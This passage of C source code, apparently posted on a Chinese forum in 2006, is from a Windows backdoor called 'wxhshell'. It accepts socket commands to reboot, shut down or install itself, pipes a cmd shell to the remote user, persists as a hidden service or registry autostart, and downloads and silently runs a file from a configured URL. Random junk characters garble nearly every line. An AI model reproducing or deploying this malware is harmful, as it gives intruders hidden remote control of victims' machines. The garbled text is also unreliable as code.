  // 帮助 b%VZPKA;  
  case '?': { ,}I m^~5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -KqMSf&9  
    break; 'loko#6  
  } /c7jL4oD  
  // 安装 (^<skx>  
  case 'i': { =#&+w[4?&.  
    if(Install()) X7MA>j3m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T@n};,SQ  
    else ;YBk.} %  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9h6siK(F  
    break;  4NIb_E0  
    } aq(i^d  
  // 卸载 Kzwe36O;?  
  case 'r': { xBqZ: BQ  
    if(Uninstall()) U\[b qw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G^/8^Zi  
    else )31xl6@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C7&L9k~jf  
    break; ;iUO1t)^  
    } Go[anf  
  // 显示 wxhshell 所在路径 ~ D/1U)kt  
  case 'p': { b~TTz`HZ  
    char svExeFile[MAX_PATH]; A[:(#iR5-E  
    strcpy(svExeFile,"\n\r"); fvA167\  
      strcat(svExeFile,ExeFile); pE.TG4  
        send(wsh,svExeFile,strlen(svExeFile),0); W!* P  
    break; ;9vY5CxzC  
    } i3$pqNe  
  // 重启 @CC 6 `D  
  case 'b': { \e%%ik,<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wiM4,  
    if(Boot(REBOOT)) JDO n`7!w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r[2*K 9  
    else { T?7++mcA  
    closesocket(wsh); F$O$Y[  
    ExitThread(0); &NI\<C7_Gw  
    } }CrWmJu0  
    break; i=V2 /W}  
    } w@a|_?  
  // 关机 ')(U<5y)  
  case 'd': { acj-*I  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3u,B<  
    if(Boot(SHUTDOWN)) M L7vP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `SS[[FT$>  
    else { >U]KPL[%  
    closesocket(wsh); ^Qxv5HS2  
    ExitThread(0); )X8N|W>vh  
    } !'Hd:oD<  
    break; =RofC9,  
    } m RC   
  // 获取shell V2'5doo  
  case 's': { yFTN/MFt  
    CmdShell(wsh); ]Z*B17//  
    closesocket(wsh); <s'0<e!./t  
    ExitThread(0); 65rf=*kz:  
    break; Mh@n>+IR  
  } LeNSjxB  
  // 退出 s Dsq:z  
  case 'x': { 7{NH;U t  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C87 9eeJ  
    CloseIt(wsh); Z!l]v.S  
    break; Nema>T]  
    } G"Hj$  
  // 离开 n ON]YDg  
  case 'q': { Cli:;yi&n  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ##OCfCW  
    closesocket(wsh); Qp>Z&LvC5  
    WSACleanup(); akWOE}5#  
    exit(1); Xv 7noq|  
    break; BUyKiMW49  
        } S{,|Fa^PPO  
  } 8K&=]:(  
  } 3XNk*Y[5  
&{ZUY3  
  // 提示信息 :b;`.`@KL_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zqp>Xw  
} EWOa2^%}Z\  
  } ZM [Z9/S8  
ciFqj3JS  
  return; 0(o.[% Ye  
} }$(\,SzW  
Fj"/jdM  
// shell模块句柄 x]t$Zb/Uxa  
int CmdShell(SOCKET sock) v'r)d-T   
{ ;f)AM}~^Q  
STARTUPINFO si; (,cG+3r ]  
ZeroMemory(&si,sizeof(si)); C3(h j  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; aF>&X-2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9VSi2p*  
PROCESS_INFORMATION ProcessInfo; 'p[B`Ft3F  
char cmdline[]="cmd"; \[ 4y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0: B%,n UM  
  return 0; Sar1NkD#  
} .=9d3uWJ/  
4`") aM  
// 自身启动模式 e -b>   
int StartFromService(void) GH`y-Ul'K  
{ 2)-4?uz~  
typedef struct >oC{YYcK  
{ `O0y8  
  DWORD ExitStatus; d;{k,rP6  
  DWORD PebBaseAddress; O9AFQ)u   
  DWORD AffinityMask; Ep3I*bQ Y  
  DWORD BasePriority; aS~~*UHW  
  ULONG UniqueProcessId; [* @ +  
  ULONG InheritedFromUniqueProcessId; eDvh3Y<D  
}   PROCESS_BASIC_INFORMATION; `oM'H+  
 "+Sq}WR  
PROCNTQSIP NtQueryInformationProcess; _z9~\N/@[  
FW{K[km^P  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; '"'RC O  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $KlaZ>D h  
d$Y_vX<  
  HANDLE             hProcess; (;-_j /  
  PROCESS_BASIC_INFORMATION pbi; 3jHg9M23[^  
.bj:tmz  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); q4,/RZhzh  
  if(NULL == hInst ) return 0; dXsD%sG @  
OU!."r`9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -"?~By}<C  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l+X\>,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k(_OhV_  
DhD##5a  
  if (!NtQueryInformationProcess) return 0; d]N_<@tx9  
}c>vk  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >P//]nn  
  if(!hProcess) return 0; jB l$r{L  
gAf4wq  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !T 9CpIM%  
8~ &=vc  
  CloseHandle(hProcess); 6?[SlPPE1  
,LDL%<7t  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @Bn4ZF B@  
if(hProcess==NULL) return 0; m;L 3c(r.  
7xYz9r)w`  
HMODULE hMod; )g }G{9M^  
char procName[255]; `,4@;j<^@  
unsigned long cbNeeded; 5".bM8o  
($W%&(:/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); nq~fH(QY  
}}k*i0  
  CloseHandle(hProcess); 5u3KL A  
?Mn~XN4F_  
if(strstr(procName,"services")) return 1; // 以服务启动 {dn:1IcN  
l}&2A*c.  
  return 0; // 注册表启动 M0OIcMTv  
} k4E9=y?  
,s2C)bb-  
// 主模块 Kf_xKW)^  
int StartWxhshell(LPSTR lpCmdLine) 7PBE(d%m  
{ ~$hR:I1  
  SOCKET wsl; .?LRt  
BOOL val=TRUE; k!'+7K.  
  int port=0; MU\Pggs  
  struct sockaddr_in door; #)]/wqPoW  
mIqm/5  
  if(wscfg.ws_autoins) Install(); '?g&);4)k-  
#^R@EZ  
port=atoi(lpCmdLine); M^>l>?#rl  
lcgG5/82  
if(port<=0) port=wscfg.ws_port; L4bYVTm|  
yrl7  
  WSADATA data; WNKg>$M  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; w~Nat7nD  
Cpy&2o-%v  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }X/YMgJ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _6'@#DN  
  door.sin_family = AF_INET; 5UG9&:zu'V  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]lqZ9rO  
  door.sin_port = htons(port); OhlK;hvdB*  
(U 4n} J  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "S*@._   
closesocket(wsl); xtKU;+#  
return 1; ?/-WH?1I  
} ]cVDXLj$  
\u))1zRd  
  if(listen(wsl,2) == INVALID_SOCKET) { &\b(  
closesocket(wsl); g1.u1}  
return 1; }^j8<  
} o>bi~(H  
  Wxhshell(wsl); q/d?c Lgl  
  WSACleanup(); yPs6_Qo!p  
>Gk<a  
return 0; po,U e>n/  
%[M0TE=J  
} Gv}Q/v   
H)EL0 Kv/  
// 以NT服务方式启动 GIn%yB'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {2q0Ko<  
{ R.F l5B  
DWORD   status = 0; } #L_R  
  DWORD   specificError = 0xfffffff; r/"^{0;F{W  
7J ?s&x  
  serviceStatus.dwServiceType     = SERVICE_WIN32; B([-GpZt[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 'J5F+, \Ka  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; AO|1m$xf  
  serviceStatus.dwWin32ExitCode     = 0; ^u1Nbo  
  serviceStatus.dwServiceSpecificExitCode = 0; 8#- Nx]VM  
  serviceStatus.dwCheckPoint       = 0; uXLZ!LJo  
  serviceStatus.dwWaitHint       = 0; %e3E}m>  
V0W4M%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V\opC6*L_e  
  if (hServiceStatusHandle==0) return; DS>&|zF5l  
vqO#Z  
status = GetLastError(); dNF_ T?E\  
  if (status!=NO_ERROR) `'k2gq&  
{  N&kUTSd  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; * fj`+J  
    serviceStatus.dwCheckPoint       = 0; uOy/c 8`  
    serviceStatus.dwWaitHint       = 0; v?}0h5  
    serviceStatus.dwWin32ExitCode     = status; Cc,V ]  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2N]8@a  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .Dl ?a>I  
    return; 3EY m@oZj  
  } =5V7212  
MI^$df  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "PO8Q  
  serviceStatus.dwCheckPoint       = 0; AI#.+PrC{/  
  serviceStatus.dwWaitHint       = 0; H$ g*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); w/rJj*  
} BHYguS^qz  
.XiO92d9  
// 处理NT服务事件,比如:启动、停止 vyB{35p$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (v|<" tv  
{ \_6  
switch(fdwControl) 75R#gQ]EV  
{ +`>E_+Mp  
case SERVICE_CONTROL_STOP: (C"q-0?n  
  serviceStatus.dwWin32ExitCode = 0; Xw<;)m  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; T!>hPg  
  serviceStatus.dwCheckPoint   = 0; )b>misb/  
  serviceStatus.dwWaitHint     = 0; F4WX$;1  
  { V45adDiZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); / x$JY\cq`  
  } 6 w{_+=T  
  return; fjl 9*  
case SERVICE_CONTROL_PAUSE: LL)t)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %"fO^KA.h]  
  break; q5-i=lw  
case SERVICE_CONTROL_CONTINUE: EG$-D@o\I  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (_>Su QK  
  break; > /Q^.hzd  
case SERVICE_CONTROL_INTERROGATE: rKI<!  
  break; 6sQ;Z|!Pz  
}; >~Tn%u<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i8-Y,&>V  
} G/ ~gF7  
% XZ&(  
// 标准应用程序主函数 /IJy'@B  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %6 GM[1__  
{ *AGf'+j*z  
8F`8=L NO  
// 获取操作系统版本 ^B} m~qT  
OsIsNt=GetOsVer(); As,e.V5!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ut;4`>T  
rxyeix  
  // 从命令行安装 JS%LJ _J  
  if(strpbrk(lpCmdLine,"iI")) Install(); w5~j|c=_W  
-l[$+Kw1S  
  // 下载执行文件 xS5 -m6/  
if(wscfg.ws_downexe) { ]4 c+{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .74C~{}$  
  WinExec(wscfg.ws_filenam,SW_HIDE); Pmd[2/][  
} xT*c##  
<!UnH6J.b  
if(!OsIsNt) { kh2TDxa&  
// 如果时win9x,隐藏进程并且设置为注册表启动 PsXCpyY!s  
HideProc(); FdzdoMY  
StartWxhshell(lpCmdLine); 'ROz|iJ  
} ?Z?(ky!  
else x4L3Z__  
  if(StartFromService()) q{f\_2[  
  // 以服务方式启动 RJerx:]  
  StartServiceCtrlDispatcher(DispatchTable); hCr,6ncC  
else /_{ZWLi(  
  // 普通方式启动 \gPMYMd  
  StartWxhshell(lpCmdLine); 2gZp O9  
<,n:w[+!`P  
return 0; 4m91XD  
}
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只看该作者 1 发表于: 2006-10-10
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